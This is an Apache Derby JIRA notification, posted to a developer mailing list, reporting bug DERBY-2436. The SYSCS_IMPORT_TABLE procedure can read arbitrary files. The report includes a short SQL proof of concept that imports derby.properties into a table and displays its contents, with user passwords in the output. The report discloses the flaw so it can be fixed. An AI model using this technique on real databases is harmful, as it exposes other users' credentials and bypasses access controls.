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Posted to derby-dev@db.apache.org by "Dag H. Wanvik (JIRA)" <ji...@apache.org> on 2009/06/30 16:45:47 UTC
[jira] Updated: (DERBY-2436) SYSCS_IMPORT_TABLE can be used to read
derby files
[ https://issues.apache.org/jira/browse/DERBY-2436?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Dag H. Wanvik updated DERBY-2436:
---------------------------------
Component/s: Tools
> SYSCS_IMPORT_TABLE can be used to read derby files
> --------------------------------------------------
>
> Key: DERBY-2436
> URL: https://issues.apache.org/jira/browse/DERBY-2436
> Project: Derby
> Issue Type: Bug
> Components: Tools
> Affects Versions: 10.1.2.1, 10.2.1.6, 10.3.1.4
> Reporter: Daniel John Debrunner
> Priority: Critical
>
> There are no controls over which files SYSCS_IMPORT_TABLE can read, thus allowing any user that has permission to execute the procedure to try and access information that they have no permissions to do so. E.g. even with the secure-by-default network server I can execute three lines of SQL to view to contents of derby.properties, thus seeing passwords of other users, or the address of the ldap server.
> create table t (c varchar(32000));
> CALL SYSCS_UTIL.SYSCS_IMPORT_TABLE(NULL, 'T', 'derby.properties', NULL, NULL, 'ISO8859_1', 0);
> ij> select * from T;
> C
> ----------------------------------------------
> derby.connection.requireAuthentication=true
> derby.authentication.provider=BUILTIN
> derby.user.SA=sapwd
> derby.user.MARY=marypwd
> Also a similar trick could be attempted against the actual data files, allowing a user to attempt to bypass grant/revoke security, especially no that binary data can be exported/imported.
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